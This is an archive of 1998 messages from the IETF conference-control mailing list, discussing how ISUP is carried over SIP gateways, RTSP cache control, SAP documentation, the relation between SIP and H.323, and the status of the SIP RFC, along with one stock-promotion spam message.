Received: from arthur.axion.bt.co.uk (arthur.axion.bt.co.uk [132.146.5.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA01074
	for <confctrl@ISI.EDU>; Thu, 22 Oct 1998 05:56:42 -0700 (PDT)
Received: from rambo (actually rambo.futures.bt.co.uk) by arthur (local) 
          with SMTP; Thu, 22 Oct 1998 13:56:07 +0100
Received: from mussel.futures.bt.co.uk (actually mussel) by rambo 
          with SMTP (PP); Thu, 22 Oct 1998 13:59:29 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) 
          id <01BDFDC3.1CC95AD0@mussel.futures.bt.co.uk>;
          Thu, 22 Oct 1998 13:51:47 +0100
Message-ID: <c=GB%a=_%p=BT%l=HERCULES-981022125901Z-25051@mussel.futures.bt.co.uk>
From: Jerome Privat <jerome.privat@bt-sys.bt.co.uk>
To: "'Conference Control List'" <confctrl@ISI.EDU>,
        "'Dean Willis'" <Dean.Willis@MCI.COM>
Cc: "'Matthew Cannon'" <Matt.Cannon@MCI.COM>,
        "'Steven R. Donovan'" <Steven.R.Donovan@MCI.COM>
Subject: RE: SIP-SS7 Mapping and SIP-in-the-middle
Date: Thu, 22 Oct 1998 13:59:01 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 73 TEXT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The best option is the second one where you use a meta-language in the
middle. As you said, we need to map all the ISUP variants to this
meta-language. But we also need to map other signalling protocols (e.g.
Q.931, Q.2931, DPNSS, ...) to this meta-language.

Jerome

Jerome Privat
Applied Research&Technology
BT Labs

>----------
>From: 	Dean Willis[SMTP:Dean.Willis@MCI.COM]
>Sent: 	Wednesday, October 21, 1998 10:30 PM
>To: 	Conference Control List
>Cc: 	Matthew Cannon; Steven R. Donovan
>Subject: 	SIP-SS7 Mapping and SIP-in-the-middle
>
>
>A couple of the folks here were covering  whiteboards with scribbles
>last week and ran into something that I think bears discussion in this
>forum. For lack of a better term, we called it the "SIP-in-the-middle"
>problem.
>
>This situation occurs when a call originating on PSTN is signaled via
>ISUP to a SIP gateway, carried on IP, signaled back to ISUP at another
>gateway, then terminated back to PSTN. The problem is that many ISUP
>parameters not required by SIP will be needed to correctly handle the
>call at the destination. This of course is compounded by the many
>varieties of ISUP in general use . . .
>
>Two proposals were made in our whiteboard session:
>
>1) Carry the delivered ISUP data as a binary attachment on the SIP and
>make the gateways responsible for dealing with it.
>
>2) Map the ISUP (of which there are many varieties) to some sort of
>meta-language which provides the basis for ISUP translations, and carry
>this meta-language as an attachment.
>
>The first proposal keeps the SIP simple, but could make the gateways
>very complex as they may be held responsible for interpreting "alien"
>ISUPs, iff SIP is used between divergent ISUP terminations. This is the
>translation problems that wakes carrier engineers up at night every
>time
>a potential merger is announced . . .
>
>The second proposal may require significant development work, but
>provides much simpler gateways as only a single translation need be
>understood by each gateway.
>
>Both proposals keep SIP clean as they both carry "ISUP" as an
>attachment.  The only difference is that the second proposal involves
>translating from a local variant of ISUP to a "meta" ISUP at the
>ingress
>gateway and translating back to a local variant at the egress gateway.
>
>Discussion?  I know that SS7-to-SIP mappings are in pre-draft
>discussion. Is anyone aware of a generalized representation for
>divergent ISUPs that might be used as a reference? Maybe somebody has
>some even better ideas?
>
>--
>Dean Willis
>
>Dean.Willis@MCI.COM
>MCI Data Architecture LOC 1916/041
>IP Telephony Architecture and Standards
>voice  972-729-4162 or v 772-4162
>page   888-266-1761
>fax    972-729-3034
>
>

From confctrl-owner  Thu Oct 22 06:33:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA16082
	for confctrl-outgoing; Thu, 22 Oct 1998 06:33:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16077
	for <confctrl@zephyr.isi.edu>; Thu, 22 Oct 1998 06:33:10 -0700 (PDT)
Received: from smtpott1.nortel.ca (smtpott1.nortel.ca [192.58.194.78])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02580
	for <confctrl@ISI.EDU>; Thu, 22 Oct 1998 06:33:09 -0700 (PDT)
Received: from zcard00m.ca.nortel.com by smtpott1;
          Thu, 22 Oct 1998 09:32:41 -0400
Received: by zcard00m.ca.nortel.com with Internet Mail Service (5.0.1460.8) 
          id <VJ5KW1WB>; Thu, 22 Oct 1998 09:29:34 -0400
Message-ID: <C51ED84B6F47D211917A0000F8BCBD112F6427@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <Tom-PT.Taylor.taylor@nt.com>
To: Conference Control List <confctrl@ISI.EDU>
Subject: RE: SIP-SS7 Mapping and SIP-in-the-middle
Date: Thu, 22 Oct 1998 09:31:09 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.0.1460.8)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The first alternative is better in principle, perhaps with the ISUP unpacked
and translated into tag-length-value form so downstream nodes have an easier
time of parsing it.  As Henry says, ISUP (or whatever) interworking has to
happen anyway.  It's an engineering decision which node has to translate
into the other's version.

> -----Original Message-----
> From:	Dean Willis [SMTP:Dean.Willis@MCI.COM]
> Sent:	Wednesday, October 21, 1998 5:31 PM
> To:	Conference Control List
> Cc:	Matthew Cannon; Steven R. Donovan
> Subject:	SIP-SS7 Mapping and SIP-in-the-middle
> 
> 
> A couple of the folks here were covering  whiteboards with scribbles
> last week and ran into something that I think bears discussion in this
> forum. For lack of a better term, we called it the "SIP-in-the-middle"
> problem.
> 
> This situation occurs when a call originating on PSTN is signaled via
> ISUP to a SIP gateway, carried on IP, signaled back to ISUP at another
> gateway, then terminated back to PSTN. The problem is that many ISUP
> parameters not required by SIP will be needed to correctly handle the
> call at the destination. This of course is compounded by the many
> varieties of ISUP in general use . . .
> 
> Two proposals were made in our whiteboard session:
> 
> 1) Carry the delivered ISUP data as a binary attachment on the SIP and
> make the gateways responsible for dealing with it.
> 
> 2) Map the ISUP (of which there are many varieties) to some sort of
> meta-language which provides the basis for ISUP translations, and carry
> this meta-language as an attachment.
> 
> The first proposal keeps the SIP simple, but could make the gateways
> very complex as they may be held responsible for interpreting "alien"
> ISUPs, iff SIP is used between divergent ISUP terminations. This is the
> translation problems that wakes carrier engineers up at night every time
> a potential merger is announced . . .
> 
> The second proposal may require significant development work, but
> provides much simpler gateways as only a single translation need be
> understood by each gateway.
> 
> Both proposals keep SIP clean as they both carry "ISUP" as an
> attachment.  The only difference is that the second proposal involves
> translating from a local variant of ISUP to a "meta" ISUP at the ingress
> gateway and translating back to a local variant at the egress gateway.
> 
> Discussion?  I know that SS7-to-SIP mappings are in pre-draft
> discussion. Is anyone aware of a generalized representation for
> divergent ISUPs that might be used as a reference? Maybe somebody has
> some even better ideas?
> 
> --
> Dean Willis
> 
> Dean.Willis@MCI.COM
> MCI Data Architecture LOC 1916/041
> IP Telephony Architecture and Standards
> voice  972-729-4162 or v 772-4162
> page   888-266-1761
> fax    972-729-3034

From confctrl-owner  Thu Oct 22 19:53:03 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA29805
	for confctrl-outgoing; Thu, 22 Oct 1998 19:53:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA29799
	for <confctrl@zephyr.isi.edu>; Thu, 22 Oct 1998 19:53:02 -0700 (PDT)
Received: from www.obsoft.com (root@www.obsoft.com [208.221.218.250])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA20750
	for <confctrl@ISI.EDU>; Thu, 22 Oct 1998 19:53:00 -0700 (PDT)
Received: from obsoft.com (sardana@localhost [127.0.0.1]) by www.obsoft.com (8.6.12/8.6.9) with ESMTP id UAA04979; Thu, 22 Oct 1998 20:48:27 -0500
Message-ID: <362FE06B.61C76CD2@obsoft.com>
Date: Thu, 22 Oct 1998 20:48:27 -0500
From: Bobby Sardana <sardana@obsoft.com>
Organization: ObjectSoftware, Inc.
X-Mailer: Mozilla 4.04 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>,
        Matthew Cannon <Matt.Cannon@MCI.COM>,
        "Steven R. Donovan" <Steven.R.Donovan@MCI.COM>
Subject: Re: SIP-SS7 Mapping and SIP-in-the-middle
References: <001b01bdfd3a$0cbbb2c0$e9e323a6@dwillispc2.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings:

Dean Willis wrote:

> Two proposals were made in our whiteboard session:
>
> 1) Carry the delivered ISUP data as a binary attachment on the SIP and
> make the gateways responsible for dealing with it.
>
> 2) Map the ISUP (of which there are many varieties) to some sort of
> meta-language which provides the basis for ISUP translations, and carry
> this meta-language as an attachment.

In both cases, whether (1) or (2), the gateway should possess the
intelligence for the conversion and hopefully not the SIP server.

For a thought, why not provide XML DTD's for SS7 and ISUP (and its
variants) and let gateways performs the conversion and attach/detach them
to/from
SIP messages.

Bobby Sardana.
sardana@obsoft.com


From confctrl-owner  Fri Oct 23 08:50:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA23258
	for confctrl-outgoing; Fri, 23 Oct 1998 08:50:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23217
	for <confctrl@zephyr.isi.edu>; Fri, 23 Oct 1998 08:50:01 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25499
	for <confctrl@isi.edu>; Fri, 23 Oct 1998 08:49:59 -0700 (PDT)
Received: from seawind.bellcore.com (seawind [192.4.18.101])
	by thumper.bellcore.com (8.9.1a/8.9.1) with ESMTP id LAA00296;
	Fri, 23 Oct 1998 11:45:03 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id LAA15272;
	Fri, 23 Oct 1998 11:45:02 -0400 (EDT)
Date: Fri, 23 Oct 1998 11:45:02 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <981023114501.ZM15270@seawind.bellcore.com>
In-Reply-To: Bobby Sardana <sardana@obsoft.com>
        "Re: SIP-SS7 Mapping and SIP-in-the-middle" (Oct 22,  8:48pm)
References: <001b01bdfd3a$0cbbb2c0$e9e323a6@dwillispc2.mcit.com> 
	<362FE06B.61C76CD2@obsoft.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Bobby Sardana <sardana@obsoft.com>, Dean Willis <Dean.Willis@MCI.COM>
Subject: Re: SIP-SS7 Mapping and SIP-in-the-middle
Cc: Conference Control List <confctrl@ISI.EDU>,
        Matthew Cannon <Matt.Cannon@MCI.COM>,
        "Steven R. Donovan" <Steven.R.Donovan@MCI.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Oct 22,  8:48pm, Bobby Sardana wrote:
> 
> For a thought, why not provide XML DTD's for SS7 and ISUP (and its
> variants) and let gateways performs the conversion and attach/detach them
> to/from
> SIP messages.

You don't really want to translate ISUP in any ways (except maybe
do some conversion to hexadecimal or base64 for carrying in a
text form.) The ISUP format is ripe with 1980-style bit splicing,
which is hard to translate and also much more compact than
any text form.  It is probably better to carry an untranslated
attachment.   However:

1) This may pose some privacy problems.  ISUP is not meant to be
   disclosed to the end user.  What of, for example, service
   bit such as the presentation indicator in the calling party
   number?  How do you prevent the SIP message to carry these all
   the way to the third party?

2) SIP provides a clear mapping for the basic call set up messages,
   IAM, ACM, ANM, CPG, REL, RLC.  But what of facilities messages?
   information? call tracing/identification? continuity test?

Using SIP to carry ISUP is a reasonable idea.  But we need to do a bit more
than just slap ISUP in the messages.  A possible solution to the second
problem, for example, could be to carry some form of end-to-end
(gateway controller to gateway controller) identification, which would
then enable the gateways to transparently exchange ISUP ancillary 
messages relating to a call.

-- 
Christian Huitema

From confctrl-owner  Mon Oct 26 21:30:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA28619
	for confctrl-outgoing; Mon, 26 Oct 1998 21:30:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA28614
	for <confctrl@zephyr.isi.edu>; Mon, 26 Oct 1998 21:30:03 -0800 (PST)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA17548
	for <confctrl@isi.edu>; Mon, 26 Oct 1998 21:30:01 -0800 (PST)
Received: from jcarlton (six188.prognet.com [172.16.6.188])
	by prognet.com (8.9.1/8.9.0) with SMTP id VAA04394;
	Mon, 26 Oct 1998 21:30:16 -0800
Message-Id: <3.0.5.32.19981026214706.009f7650@mail.real.com>
X-Sender: jcarlton@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Mon, 26 Oct 1998 21:47:06 -0800
To: confctrl@ISI.EDU
From: John Carlton <jcarlton@real.com>
Subject: RTSP Cache control
Cc: jcarlton@prognet.com, sethr@prognet.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The RTSP spec talks about the Cache-Control general header field in section
12.8. But this section specifies that cache directives should only be
specified in a SETUP request and its response.

Can anyone fill me in on the reasons why the DESCRIBE request/response
should not also specify Cache-Control?

If this was required the server could specify whether content can be served
from a cache before resources are allocated by the SETUP, which would be
much more efficient. If the content can come from the cache a proxy can
save one round trip time by knowing this when the DESCRIBE response is
received. Furthermore, the SETUP request could be sent with a special
"accounting-only" transport that says to the server "do a lightweight
SETUP, I won't be asking you for any data". The proxy then uses the ports
it has allocated to serve data from the cache (the cache could even speak
RTSP if desired).

In short, both the proxy and the origin server can be more efficient if
Cache-Control directives are exchanged at DESCRIBE time. It seems to me
that information about whether a particular resource is cacheable or not,
along with its last modified time or staleness, could be considered part of
the media initialization phase.

Any thoughts?

thx

jc

From confctrl-owner  Sat Oct 31 12:47:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA07470
	for confctrl-outgoing; Sat, 31 Oct 1998 12:47:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA07456
	for <confctrl@zephyr.isi.edu>; Sat, 31 Oct 1998 12:47:52 -0800 (PST)
Received: from revnet4.revnet.com (revnet4.revnet.com [198.51.35.125])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA07984;
	Sat, 31 Oct 1998 12:47:48 -0800 (PST)
From: scj2@gs4.revnet.com
Received: from gs4.revnet.com (gs4.revnet.com [198.51.35.84])
	by revnet4.revnet.com (8.8.7/8.8.7) with SMTP id OAA31179;
	Sat, 31 Oct 1998 14:42:43 -0600
Message-Id: <199810312042.OAA31179@revnet4.revnet.com>
To: scj2@gs4.revnet.com
Subject: ISM Corp has acquired 4.7 mill to begin production Stock up 100 percent
Date: Sat, 31 Oct 1998 14:47:10 -0600
Originator: scj2@gs4.revnet.com
X-Mailer: GroupMaster
X-Mailer-Version: 1.5
X-GroupMasterUser: Revnet Express
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Please open the following message in your web browser

    http://gs4.revnet.com/GM/MSGVIEW/MSOHNOPA.HTML
____________________________________________________________
International Shoe Manufacturing Corp Update: 
International Shoe Manufacturing Corp. (Ticker-ISHO) has acquired the final-stage
financing to begin full-scale production at its plants in India. The $4.75 million is being
used to purchase the final equipment needed to begin production at the company’s existing
plant in India. With equipment in place, the company projects net profits of over $25
million a year within two years.

The company stated that the financing will be followed up by a $9 million dollar IPO in
India, anticipated for March 1999. The IPO will be handled by underwriters in India, and
will leave ISM with control of its wholly owned subsidiary in India. The proceeds of the
IPO will pay off the $4.75 million dollar financing. The balance will be used for the
acquisition of additional shoe manufacturing.    

ISHO is in the business of manufacturing athletic footwear for the world’s leading shoe
companies. It owns a 23,000-square-foot plant located in the protected “free trade zone” in
Noida, just outside of New Delhi, India, where skilled labor is plentiful and very
inexpensive. The Indian government recently developed new economic policy to attract
foreign investment that is export-oriented, and could employ large numbers of people. 
ISM is the only athletic shoe manufacturer in India directed toward the international
market. It currently has contracts with Adidas and The Pentland Group. These two
companies have agreed to purchase all the shoes ISM can manufacture. 

The athletic shoe industry is estimated at $14.25 billion a year. The world’s leading shoe
companies such as Adidas, Nike, and Reebok do not manufacture shoes. They are design
and marketing organizations that spend hundreds of millions of dollars a year getting their
products sold. They then rely on others to manufacture to their specifications. Almost, if
not all athletic shoe manufacturers are privately owned, benefiting from the hundreds of
millions of dollars spent on advertising by the name-brand companies. The result is an
open purchase order where such manufacturers  literally can sell every pair of shoes they
can produce. A business like this lends itself to being privately held due to the large cash
flow allowing for internal financing. International Shoe Manufacturing Corp. is the only
company known to exist that offers a public investor the opportunity to own a share of this
highly lucrative business in a pure  investment play.

For inquiries please contact the office of the director of investor relations toll free at: 
877-ISM-CORP  (877-476-2677)  or send your e-mail request to nsi@smallcapjournal.com Your request will be handled immediately.  Or write to ISM Corp at P.O. Box 520310 Longwood, Florida 32752

Please visit ISM’s web site at www.ismcorp.net
Safe Harbor for Forward-Looking Statements: Except for historical information contained herein, the statements in this press
release are forward-looking statements that are made pursuant to the safe harbor provisions of the Private Securities Reform Act of
1995.  Forward-looking statements involve known and unknown risks and uncertainties which may cause the company’s actual
results in the future periods to differ materially from forecasted results. These risks and uncertainties include, among other things,
product price volatility, product demand, market competition, risk inherent in the company’s domestic and international operations,
imprecision in estimating product reserves and the company’s ability to replace and expand its holdings.

____________________________________________________________

Unsubscribe or access your membership settings at: 
http://gs4.revnet.com/GMG/ctrlpanel/0/79

From confctrl-owner  Mon Nov  2 07:51:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA29611
	for confctrl-outgoing; Mon, 2 Nov 1998 07:51:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA29606
	for <confctrl@zephyr.isi.edu>; Mon, 2 Nov 1998 07:51:02 -0800 (PST)
Received: from bsf.alcatel.fr (root@laposte.bsf.alcatel.fr [193.104.128.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24212
	for <confctrl@isi.edu>; Mon, 2 Nov 1998 07:50:29 -0800 (PST)
Received: from mx1.dit.sxb.bsf.alcatel.fr (root@[155.132.205.44])
	by bsf.alcatel.fr (8.8.8/8.8.8) with ESMTP id QAA05406
	for <confctrl@isi.edu>; Mon, 2 Nov 1998 16:54:34 +0100 (MET)
Received: from sxb.bsf.alcatel.fr (ill000019135a.dit.sxb.bsf.alcatel.fr [155.132.27.170]) by mx1.dit.sxb.bsf.alcatel.fr with ESMTP (8.8.6 (PHNE_14041)/8.7.3) id PAA13804 for <confctrl@isi.edu>; Mon, 2 Nov 1998 15:08:22 +0100 (MET)
Message-ID: <363DBC18.EDF7DAA6@sxb.bsf.alcatel.fr>
Date: Mon, 02 Nov 1998 15:05:12 +0100
From: Philippe Beysang <pbe@sxb.bsf.alcatel.fr>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Is there already some documentation about SAP (Session Annoucement 
 Protocol) at this time ?
Content-Type: multipart/mixed;
 boundary="------------F57679EAE701B66AE7EC3517"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------F57679EAE701B66AE7EC3517
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

In the SIP (Session Initiation Protocol) RFC bibliography written by
MMUSIC, there is a reference about a document concerning SAP (writen by
M. Handley). But I can't find this document.
Is there an existing document (draft or RFC) about SAP (Session
Announcement Protocol) at this time ? Were can I find it ?

Thank you.

    P. Beysang
    Alcatel Telecom




--------------F57679EAE701B66AE7EC3517
Content-Type: text/x-vcard; charset=us-ascii;
 name="pbe.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Philippe Beysang
Content-Disposition: attachment;
 filename="pbe.vcf"

begin:vcard 
n:;"pbe@sxb.bsf.alcatel.fr"
x-mozilla-html:FALSE
org:Recherche
version:2.1
email;internet:pbe@sxb.bsf.alcatel.fr
x-mozilla-cpt:;0
fn:"pbe@sxb.bsf.alcatel.fr"
end:vcard

--------------F57679EAE701B66AE7EC3517--


From confctrl-owner  Mon Nov  2 08:08:15 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA00277
	for confctrl-outgoing; Mon, 2 Nov 1998 08:08:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA00272
	for <confctrl@zephyr.isi.edu>; Mon, 2 Nov 1998 08:08:14 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA25316
	for <confctrl@ISI.EDU>; Mon, 2 Nov 1998 08:08:13 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA18549; Mon, 2 Nov 1998 11:06:02 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Philippe Beysang <pbe@sxb.bsf.alcatel.fr>
cc: confctrl@ISI.EDU
Subject: Re: Is there already some documentation about SAP (Session Annoucement Protocol) at this time ? 
In-reply-to: Your message of "Mon, 02 Nov 1998 15:05:12 +0100."
             <363DBC18.EDF7DAA6@sxb.bsf.alcatel.fr> 
Date: Mon, 02 Nov 1998 11:06:01 -0500
Message-ID: <18547.910022761@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>In the SIP (Session Initiation Protocol) RFC bibliography written by
>MMUSIC, there is a reference about a document concerning SAP (writen by
>M. Handley). But I can't find this document.
>Is there an existing document (draft or RFC) about SAP (Session
>Announcement Protocol) at this time ? Were can I find it ?

The old version is in the confctrl archive:
  ftp://ftp.isi.edu/confctrl/docs

There's a SAP security draft in the ID archives:
  draft-ietf-mmusic-sap-sec-04.txt

I'm in the process of merging these two and re-issuing what I think
will be the final version of the SAP spec.

Mark


From confctrl-owner  Mon Nov  9 01:53:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA14415
	for confctrl-outgoing; Mon, 9 Nov 1998 01:53:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA14410
	for <confctrl@zephyr.isi.edu>; Mon, 9 Nov 1998 01:53:55 -0800 (PST)
Received: from tapti.hss.hns.com (tapti.hss.hns.com [139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA02544
	for <confctrl@ISI.EDU>; Mon, 9 Nov 1998 01:53:08 -0800 (PST)
Received: from hss056.hss.hns.com (hss056.hss.hns.com [139.85.229.156])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id QAA16212
	for <confctrl@ISI.EDU>; Mon, 9 Nov 1998 16:03:33 +0530 (IST)
Received: by hss056.hss.hns.com with Microsoft Mail
	id <01BE0BF4.865F4970@hss056.hss.hns.com>; Mon, 9 Nov 1998 15:20:46 -0000
Message-ID: <01BE0BF4.865F4970@hss056.hss.hns.com>
From: Alok Mittal <amittal@hss.hns.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: What is the view towards H.323?
Date: Mon, 9 Nov 1998 15:20:45 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi

 I do not wish to duplicate other discussions regarding relative merits of
 SIP and H.323 that have happened before on this mailing list. I have tried 
 to update myself with information in mail archives and SIP homepage, and
 if I still land up repeating an earlier discussion, my apologies.

 What I am interested in is the view members of this list to the picture that 
 might evolve in relation to SIP and h.323. From the archives, I have found
 at least the following views:

1. SIP has conceded to H.323
2. SIP and H.323 will converge, probably in H.323v3
3. SIP and H.323 interoperate -- Session Initiation in SIP and then H.323 takes over
4. Interworking Gateways for SIP and H.323 -- here, however I have not seen
    an argument which says *where* SIP makes more sense than H.323 and vice
    versa (if one was absolutely better than the other, there wouldn't be a need for GW).

 I am interested in knowing what the current views are in this respect. Please note
 that I have updated myself with a technical comparison already, so we need not go
 into that again.

thanks for any inputs!!
Alok

-----------------------------------------------------------------
Alok Mittal	
Technical Leader	Hughes Software Systems
Prestige Opal, 146 Infantry Road, Bangalore - 560001
Tel: +91-80-2286390,91,92	Fax: +91-80-2286393
-----------------------------------------------------------------


From confctrl-owner  Mon Nov  9 07:24:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA24382
	for confctrl-outgoing; Mon, 9 Nov 1998 07:24:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24377
	for <confctrl@zephyr.isi.edu>; Mon, 9 Nov 1998 07:24:43 -0800 (PST)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA11779
	for <confctrl@isi.edu>; Mon, 9 Nov 1998 07:24:40 -0800 (PST)
Received: from seawind.bellcore.com (seawind [192.4.18.101])
	by thumper.bellcore.com (8.9.1a/8.9.1) with ESMTP id KAA20929;
	Mon, 9 Nov 1998 10:24:05 -0500 (EST)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id KAA26701;
	Mon, 9 Nov 1998 10:24:01 -0500 (EST)
Date: Mon, 9 Nov 1998 10:24:01 -0500 (EST)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <981109102400.ZM26699@seawind.bellcore.com>
In-Reply-To: Alok Mittal <amittal@hss.hns.com>
        "What is the view towards H.323?" (Nov  9,  3:20pm)
References: <01BE0BF4.865F4970@hss056.hss.hns.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Alok Mittal <amittal@hss.hns.com>, "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: What is the view towards H.323?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Nov 9,  3:20pm, Alok Mittal wrote:

> 1. SIP has conceded to H.323
> 2. SIP and H.323 will converge, probably in H.323v3
> 3. SIP and H.323 interoperate -- Session Initiation in SIP and then
H.323 takes over
> 4. Interworking Gateways for SIP and H.323

What about;

5. SIP will be published any time soon.  That really means, in 6 month,
   in a year, in 5 years, we will still hear that SIP will be published
   any time soon...

-- 
Christian Huitema

From confctrl-owner  Mon Nov  9 07:59:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25530
	for confctrl-outgoing; Mon, 9 Nov 1998 07:59:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25525
	for <confctrl@zephyr.isi.edu>; Mon, 9 Nov 1998 07:59:03 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA12877
	for <confctrl@ISI.EDU>; Mon, 9 Nov 1998 07:59:02 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA11808; Mon, 9 Nov 1998 10:58:24 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Christian Huitema <huitema@bellcore.com>
cc: Alok Mittal <amittal@hss.hns.com>, "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: What is the view towards H.323? 
In-reply-to: Your message of "Mon, 09 Nov 1998 10:24:01 EST."
             <981109102400.ZM26699@seawind.bellcore.com> 
Date: Mon, 09 Nov 1998 10:58:24 -0500
Message-ID: <11806.910627104@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>5. SIP will be published any time soon.  That really means, in 6 month,
>   in a year, in 5 years, we will still hear that SIP will be published
>   any time soon...

Sigh.  

The current status is we're awaiting final comments from the ADs.
Henning has been making minor fixes and clarifications as we've got
the comments.  There'll be a final draft reflecting the last call
comments when we get the last of those comments - probably this week.
Then the IESG get to vote on it.

I would hope we'll have an RFC in a month.  I don't know of anything
we can do to speed up the process at this stage.

Mark

